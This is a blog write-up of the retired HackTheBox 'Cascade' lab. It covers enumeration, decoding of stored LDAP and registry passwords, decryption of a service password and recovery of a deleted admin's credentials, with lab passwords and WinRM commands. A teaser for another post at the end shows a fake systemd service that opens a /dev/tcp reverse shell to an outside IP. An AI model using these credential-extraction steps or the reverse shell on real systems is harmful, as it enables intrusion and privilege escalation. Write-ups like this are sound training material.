Skip to main content

HackTheBox - Retired - Cascade

Hackthebox - Retired- Cascade


Recon



As usual I start with a simple UP/Down scan on all TCP ports.


$ nmap -T4 -p- -oX ./nmapb.xml cascade.htb



Hmmm… don't know if this is because it's a new box or intentional, but my normal nmap scan gets nada.  I took its advice and added the -Pn

$ nmap -T4 -p- -Pn -oX ./nmapb.xml 10.10.10.182


Then converted that to HTML

 


A bunch of open ports


DNS, LDAP, net bios, winRM


Let's repeat the scan with the -A switch to try all the things :) on the ports we found 


nmap -T4 -p53,88,135,139,389,445,646,3268,3269,5985,49154,49155,49157,49158,49173 -A -Pn -oX ./nmapf.xml cascade.htb


Then I'll convert that to HTML too




Ok so let's see what we can find poking around the services we see


Let's start with smb 



It let me login in anonymous but no share for me..


But as for RPC..


We got some data



We got back a list of domain users


CascGuest

arksvc

s.smith

r.thompson

util

j.wakefield

s.hickson

j.goodhand

a.turnbull

e.crowe

b.hanson

d.burman

BackupSvc

j.allen

i.croft


I'm going to go through each of these users with queryuser to see if there is anything interesting.


The first named user has a vbs set for a logon script.


That might be useful later.


J.wakefeild has a different .vbs


   


Ok let's automate this a bit and run enum4linux



Here is the password policy


Got some group memberships


For domain users


Group IT



HR


Remote Management


Audit share



Denied RODC Password Replication Group


GP creator owners


Data Share







Since we have a list of user names I tried to AS-REP roast to see if we could get a hash for any user that was set to not require Pre-Authentication….



NOPE


We will have to find another way to get a foothold


So I decided to dump all the ldap out and grep around to see if I can find anything 


$ ldapsearch -x -b "dc=cascade,dc=local" "*" -h 10.10.10.182  >> /home/circusmonkey/Desktop/HTB/cascade/ldap.txt


Now I just grepped through my txt file looking for anything interesting.


I tried grepping for "Pass"





Nothing tried "pas" same results


Then I tried "=" to look for base64… There was alot




Didn't anything interesting thing there either


Then I tried the box name "cascade"


And I saw this


Looks like ryan's AD has a field called cascadelegacyPWD



clk0bjVldmE=




I went back to my ldap dump to look at all the settings I was able to get from ryan


So there is a double equal sign there so it's probably base64 right? 


Let's check


echo ""  && echo "clk0bjVldmE=" | base64 -d && echo ""


I know this probably isn't the most efficient way to add spacing here.



rY4n5eva



I wonder if we can get some SMB info now


 smbclient -L \\\\cascade.local -U cascade\\r.thompson




Let's go over to exploitation now

The Breakfast Club Flirting GIF


Exploit

Let's start poking around in the SMB and see if we can find anything interesting


I stared in the IT folder because…. Well, because that might be where we can find the best things


Under the s.smtih folder under tmp I found a registry file used to configure the registry


I used get to download it to my computer



Found this 



"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f


Interesting


I found this blog with an exe that says it can decrypt this password.

https://www.raymond.cc/blog/crack-or-decrypt-vnc-server-encrypted-password/



I fired up my windows VM and tried tried it




sT333ve2


Maybe that is the password for


I think there was a Steve user let's check and see in our ldap dump we did earlier.




And guess what?




That's his AD password too, so that is two accounts we have creds for 


And steve…. Steve has access to a shared drive name audit.


Let's connect up to it and see what we see there


$ smbclient \\\\cascade.local\\audit$ -U cascade\\s.smith




A folder called DB? What is in there?



We'll use get to download that DB and see if there is anything else in there.


Well this table is interesting



ArkSvc


BQO5l5Kj9MdErXx6Q6AGOw==





Guess what else we can connect to with Steve's creds?


WinRM


$ evil-winrm -i 10.10.10.182 -u cascade\\s.smith -p sT333ve2





Under under desktop we get the user flag



Happy Game Show GIF by CBC


I found this email somewhere



So they had a TempAdmin user they were using during a project.


I also found this log which shows them moving the account to the recycling bin in AD



Let's check out that Audit Exe file we found earlier.


I downloaded the whole Audit folder audit folder to a windows box and loaded the exe up in jet brains to decompile the program


Pretty quickly I found this decryption function.



Looks like maybe the passwords are stored in AES 128 encryption. Here is the IV and the key size 128.. That is most of the info we might need to decode that arksrv password we found. Now we need to the secret key



And there is the key


I used this to decrypt the arksrv password we found


https://www.devglan.com/online-tools/aes-encryption-decryption



We got some more base64 out… lets decode it now



w3lc0meFr31nd


Let's see if it lets us connect up to winRM with these new creds..



Still can't get into the admin Desktop folder for root.txt






Remember this part of the email we found earlier?



I wonder if this is the normal admin account password?




Nope…. But can we restore that TempAdmin account we saw earlier and was referenced in email?



If as arksvc we look at the ad recycling bin

Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects



We can see the TempAdmin account here in deleted objects



I tried to restore it but no luck



But if we look at the the properties for the user


Get-ADObject -Filter {DisplayName -like 'Tempadmin'} -IncludeDeletedObjects -properties *


We see this



cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz



We found one of those legacy passwords earlier and it was just base64.






baCT3r1aN00dles





Let's try to connect up now and see if we can get the flag...




Couldn't get in using WinrRM…



What about SMB?




And the flag?




Got that flag yo


Homer Simpson Episode 21 GIF


Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The